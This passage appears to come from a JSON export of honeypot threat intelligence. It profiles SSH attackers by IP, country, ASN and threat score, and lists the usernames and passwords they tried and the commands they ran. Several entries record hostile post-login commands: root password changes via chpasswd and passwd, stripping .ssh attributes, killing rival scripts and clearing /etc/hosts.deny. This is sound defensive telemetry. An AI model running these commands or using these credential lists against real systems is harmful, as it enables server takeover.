        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:43:20.139000+00:00",
        "last_seen_30d": "2026-05-17T05:09:20.354000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 65
      }
    },
    "170.79.37.84": {
      "attack_count": 362,
      "first_seen": "2026-05-04T03:05:43.656Z",
      "last_seen": "2026-05-28T23:20:25.411Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "postgres",
        "345gs5662d34",
        "etluser",
        "admin1",
        "adminpass",
        "csserver",
        "deploy",
        "ec2-user",
        "ftpuser001",
        "logadmin",
        "nextcloud",
        "odoo2",
        "oracle",
        "sambauser",
        "server",
        "sftp",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "111111",
        "11111111",
        "123",
        "123&123",
        "12345",
        "123456",
        "123456789",
        "123456789z",
        "123QWEasd",
        "123root123",
        "1q2w3e4r5t",
        "A123456.",
        "Admin123123123",
        "Asdf1234.",
        "Cloud@123456",
        "Lc123456",
        "Password01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\npUEuXlvcIivz\\npUEuXlvcIivz\\n\"|passwd",
        "echo \"root:gN3HLA6RUunG\"|chpasswd|bash",
        "echo -e \"12345\\npUEuXlvcIivz\\npUEuXlvcIivz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 53.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.7,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 469,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:05:43.656000+00:00",
        "last_seen_30d": "2026-05-28T23:21:33.021000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 362,
        "Suricata": 107
      }
    },
    "116.110.151.233": {
      "attack_count": 313,
      "first_seen": "2026-05-24T04:25:04.227Z",
      "last_seen": "2026-05-24T05:03:42.568Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "developer",
        "1234",
        "admian",
        "belkinstyle",
        "btf",
        "cpanel",
        "geral",
        "installer",
        "joggler",
        "joro",
        "kelly",
        "master",
        "matrix",
        "mms",
        "nikita",
        "office",
        "opc"
      ],
      "passwords_attempted": [
        "1234",
        "P@ssw0rd",
        "admin",
        "admin123",
        "password",
        "1111",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "abc123",
        "admin01",
        "administrator",
        "aerohive",
        "alpine",
        "calvin",
        "default"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:25:04.227000+00:00",
        "last_seen_30d": "2026-05-24T05:04:45.932000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 313,
        "Suricata": 161
      }
    },
    "112.103.93.57": {
      "attack_count": 298,
      "first_seen": "2026-05-20T00:59:30.104Z",
      "last_seen": "2026-05-20T18:07:00.081Z",
      "sessions": 149,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 462,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:59:30.104000+00:00",
        "last_seen_30d": "2026-05-20T18:08:05.829000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 298,
        "Suricata": 164
      }
    },
    "103.187.146.107": {
      "attack_count": 281,
      "first_seen": "2026-05-30T17:03:57.229Z",
      "last_seen": "2026-05-30T17:38:42.741Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "oo",
        "wiki",
        "book",
        "deploy",
        "linda",
        "mamy",
        "nia",
        "prueba",
        "sammy",
        "story",
        "transfer",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1qaz2wsx",
        "Admin123456*",
        "mamamiya",
        "mamy",
        "nia",
        "password",
        "password123",
        "qw12QW!@",
        "story",
        "test",
        "transfer",
        "wiki123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nGMHAN4vnv292\\nGMHAN4vnv292\\n\"|passwd",
        "echo \"root:P74ncxUmQFf9\"|chpasswd|bash",
        "echo \"wiki123\\nnhSoODh78txz\\nnhSoODh78txz\\n\"|passwd",
        "echo -e \"123\\nGMHAN4vnv292\\nGMHAN4vnv292\"|passwd|bash",
        "echo -e \"wiki123\\nnhSoODh78txz\\nnhSoODh78txz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:03:57.229000+00:00",
        "last_seen_30d": "2026-05-30T17:39:49.414000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 48
      }
    },
    "206.130.127.38": {
      "attack_count": 252,
      "first_seen": "2026-05-05T06:19:21.512Z",
      "last_seen": "2026-05-05T06:27:03.547Z",
      "sessions": 126,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:19:21.512000+00:00",
        "last_seen_30d": "2026-05-05T06:28:56.886000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 147
      }
    },
    "179.124.185.78": {
      "attack_count": 250,
      "first_seen": "2026-05-21T06:43:07.976Z",
      "last_seen": "2026-05-22T09:44:38.235Z",
      "sessions": 125,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belford Roxo",
      "asn": 61908,
      "as_org": "Nova Net Telecomunicacoes Ltda",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:43:07.976000+00:00",
        "last_seen_30d": "2026-05-22T09:45:40.656000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 250,
        "Suricata": 125
      }
    },
    "170.106.179.118": {
      "attack_count": 236,
      "first_seen": "2026-05-17T17:20:12.184Z",
      "last_seen": "2026-05-17T17:51:13.388Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "108108108",
        "1234567!@#$%^&",
        "963963",
        "Asd@123321",
        "P@$$WORD2018",
        "P@55word",
        "Pass@12345",
        "Qwer!234",
        "adam",
        "bav123",
        "centos8svm",
        "emily",
        "ethereum",
        "felix",
        "matrix2004",
        "netgear1",
        "not4you",
        "qwer12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:AdfY78JRxEwE\"|chpasswd|bash",
        "echo \"root:CAzItEn247zi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T17:20:12.184000+00:00",
        "last_seen_30d": "2026-05-17T17:52:21.256000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "148.153.121.224": {
      "attack_count": 228,
      "first_seen": "2026-05-08T03:58:09.872Z",
      "last_seen": "2026-05-31T23:43:07.796Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 63199,
      "as_org": "CDS Global Cloud Co., Ltd",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:58:09.872000+00:00",
        "last_seen_30d": "2026-05-31T23:44:16.572000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 152,
        "Suricata": 114
      }
    },
    "118.251.20.157": {
      "attack_count": 222,
      "first_seen": "2026-05-20T18:35:57.249Z",
      "last_seen": "2026-05-21T06:27:05.850Z",
      "sessions": 111,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:35:57.249000+00:00",
        "last_seen_30d": "2026-05-21T06:30:43.983000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 222,
        "Suricata": 113
      }
    },
    "103.69.96.120": {
      "attack_count": 219,
      "first_seen": "2026-05-07T04:20:14.632Z",
      "last_seen": "2026-05-07T05:01:14.380Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "ubuntu",
        "user",
        "oracle",
        "345gs5662d34",
        "User",
        "developer",
        "gitlab",
        "gtaserver",
        "hadoop",
        "openvpn",
        "postgres",
        "tempuser",
        "test123",
        "upload",
        "user123",
        "usertest",
        "webserver"
      ],
      "passwords_attempted": [
        "123",
        "1111",
        "111111",
        "123321",
        "123456",
        "12345678",
        "123mudar",
        "159753",
        "222222",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei@123",
        "P@ssw0rd",
        "Password",
        "UBUNTU123456",
        "abcd@1234",
        "admin111",
        "admin1234",
        "debian@2022",
        "ftpuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"simple\\n0LEs9K4kg20C\\n0LEs9K4kg20C\\n\"|passwd",
        "echo -e \"simple\\n0LEs9K4kg20C\\n0LEs9K4kg20C\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T04:20:14.632000+00:00",
        "last_seen_30d": "2026-05-07T05:02:16.438000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "37.59.110.4": {
      "attack_count": 219,
      "first_seen": "2026-05-06T04:20:19.342Z",
      "last_seen": "2026-05-06T05:36:06.080Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "mcserver",
        "minecraft",
        "root",
        "test",
        "345gs5662d34",
        "admin1",
        "dev",
        "ftpuser1",
        "mcbserver",
        "oracle",
        "postgres",
        "sfserver",
        "sshvpn",
        "test2",
        "user10",
        "vpn"
      ],
      "passwords_attempted": [
        "123",
        "!@#$%^",
        "1",
        "123456",
        "1234abcd",
        "3245gs5662d34",
        "345gs5662d34",
        "789UIOjkl",
        "Aa123456789!",
        "admin...",
        "admin2123",
        "digital",
        "kathleen",
        "mcbserver",
        "mcserver1",
        "min3craft",
        "oracle123$",
        "password123",
        "postgres@1234",
        "qaz1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"min3craft\\nEDWdezeyweb3\\nEDWdezeyweb3\\n\"|passwd",
        "echo -e \"min3craft\\nEDWdezeyweb3\\nEDWdezeyweb3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:20:19.342000+00:00",
        "last_seen_30d": "2026-05-06T05:37:08.093000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "160.187.147.124": {
      "attack_count": 218,
      "first_seen": "2026-05-06T11:13:55.696Z",
      "last_seen": "2026-05-06T11:50:42.936Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "debian",
        "devops",
        "dockeruser",
        "esuser",
        "ftptest",
        "guest01",
        "hadoop",
        "hldmserver",
        "postgres",
        "radmin",
        "sftp",
        "sftpuser",
        "testu",
        "testuser",
        "user"
      ],
      "passwords_attempted": [
        "10021979612335",
        "111111",
        "123123",
        "1234",
        "12345678",
        "1234Qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "P@ssw0rdP@ssw0rd",
        "Password@123",
        "Qq123456",
        "a",
        "admin!@#123",
        "cisco",
        "debian123",
        "guest01",
        "hldmserver",
        "mailserver",
        "p@ssw0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:6bQEmMTA7aER\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:13:55.696000+00:00",
        "last_seen_30d": "2026-05-06T11:51:46.244000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "102.210.149.105": {
      "attack_count": 213,
      "first_seen": "2026-05-29T20:20:41.669Z",
      "last_seen": "2026-05-29T20:50:12.813Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "opc",
        "oussama",
        "lekaren",
        "test_user",
        "tim",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz2wsx",
        "12345",
        "123qwe",
        "Aa12345",
        "Asd12345678",
        "Newpassword123!",
        "Zxcv123456",
        "a123123.",
        "aaa123123",
        "dd",
        "lekaren",
        "oussama",
        "q1w2e3r4t5y6"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\ngCFFph6fxAYA\\ngCFFph6fxAYA\\n\"|passwd",
        "echo \"oussama\\nIRWezHe2SrkA\\nIRWezHe2SrkA\\n\"|passwd",
        "echo -e \"12345\\ngCFFph6fxAYA\\ngCFFph6fxAYA\"|passwd|bash",
        "echo -e \"oussama\\nIRWezHe2SrkA\\nIRWezHe2SrkA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 328847,
      "as_org": "KoTDA",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T20:20:41.669000+00:00",
        "last_seen_30d": "2026-05-29T20:51:14.411000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "103.89.136.111": {
      "attack_count": 212,
      "first_seen": "2026-05-25T14:00:58.438Z",
      "last_seen": "2026-05-25T15:00:00.598Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "cloud",
        "jenkins",
        "project",
        "upload",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0000",
        "12345",
        "1234@abcd",
        "1q2w3e4r@",
        "P@ss1234",
        "Qwert@123",
        "Wangsu@2017",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "project",
        "qwer1234!@",
        "root123456@",
        "upload",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:n1fcERAc1G3I\"|chpasswd|bash",
        "echo \"welltech12\\nnXHfPrcxlqDB\\nnXHfPrcxlqDB\\n\"|passwd",
        "echo -e \"welltech12\\nnXHfPrcxlqDB\\nnXHfPrcxlqDB\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 136475,
      "as_org": "Planetcast Media Services Limited",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 259,
